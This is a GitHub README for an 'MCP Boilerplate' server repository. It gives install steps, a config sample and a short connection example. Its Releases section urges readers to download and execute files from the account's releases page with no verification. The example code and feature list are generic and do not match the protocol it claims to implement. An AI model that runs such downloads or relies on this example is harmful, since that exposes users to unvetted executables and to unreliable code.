mcp-boilerplate

# MCP Boilerplate 🚀    Welcome to the **MCP Boilerplate** repository! This project offers a powerful, production-ready MCP server that implements the Model Context Protocol. With robust SSE transport, built-in tools, and comprehensive error handling, this boilerplate allows you to seamlessly connect AI models to data sources with enterprise-grade stability and performance. ## Table of Contents - [Features](#features) - [Getting Started](#getting-started) - [Installation](#installation) - [Usage](#usage) - [Configuration](#configuration) - [Contributing](#contributing) - [License](#license) - [Releases](#releases) - [Contact](#contact) ## Features - **Production-Ready**: Built with enterprise-grade stability in mind. - **Robust SSE Transport**: Efficiently stream data from server to client. - **Error Handling**: Comprehensive error management to ensure smooth operation. - **Built-in Tools**: Includes tools to facilitate development and deployment. - **Seamless Integration**: Connect AI models to various data sources effortlessly. ## Getting Started To get started with the MCP Boilerplate, you need to set up your development environment. Follow the steps below to get everything up and running. ### Prerequisites - Node.js (version 14 or higher) - npm (Node package manager) - A modern web browser (Chrome, Firefox, etc.) ## Installation To install the MCP Boilerplate, follow these steps: 1. Clone the repository: ```bash git clone https://github.com/milxxyzxc/mcp-boilerplate.git ``` 2. Navigate to the project directory: ```bash cd mcp-boilerplate ``` 3. Install the dependencies: ```bash npm install ``` 4. Start the server: ```bash npm start ``` Now, your MCP server should be running locally. ## Usage Once the server is running, you can interact with it through various endpoints. The main functionalities include: - **Connecting AI Models**: You can connect your AI models using the Model Context Protocol. - **Streaming Data**: Use the SSE transport to stream data in real-time. - **Error Reporting**: The server provides detailed error messages for easier debugging. ### Example Here’s a simple example of how to connect an AI model: ```javascript const modelContext = require('mcp-boilerplate'); // Connect your model modelContext.connect('your-model-id', { dataSource: 'your-data-source' }); ``` ## Configuration You can configure the MCP server by modifying the `config.json` file in the root directory. Here are some key settings: - **port**: The port on which the server will run. - **logLevel**: The level of logging (e.g., 'info', 'debug'). - **models**: An array of AI models to connect. Example `config.json`: ```json { "port": 3000, "logLevel": "info", "models": [ { "id": "model1", "dataSource": "data-source-1" } ] } ``` ## Contributing We welcome contributions! If you want to help improve the MCP Boilerplate, please follow these steps: 1. Fork the repository. 2. Create a new branch (`git checkout -b feature/YourFeature`). 3. Make your changes and commit them (`git commit -m 'Add some feature'`). 4. Push to the branch (`git push origin feature/YourFeature`). 5. Open a pull request. ## License This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details. ## Releases For the latest updates and releases, visit the [Releases section](https://github.com/milxxyzxc/mcp-boilerplate/releases). Here, you can download and execute the latest version of the MCP Boilerplate. ## Contact For any inquiries, please reach out to the maintainers: - **Email**: maintainer@example.com - **Twitter**: [@MCPBoilerplate](https://twitter.com/MCPBoilerplate) Feel free to contribute and make this project even better!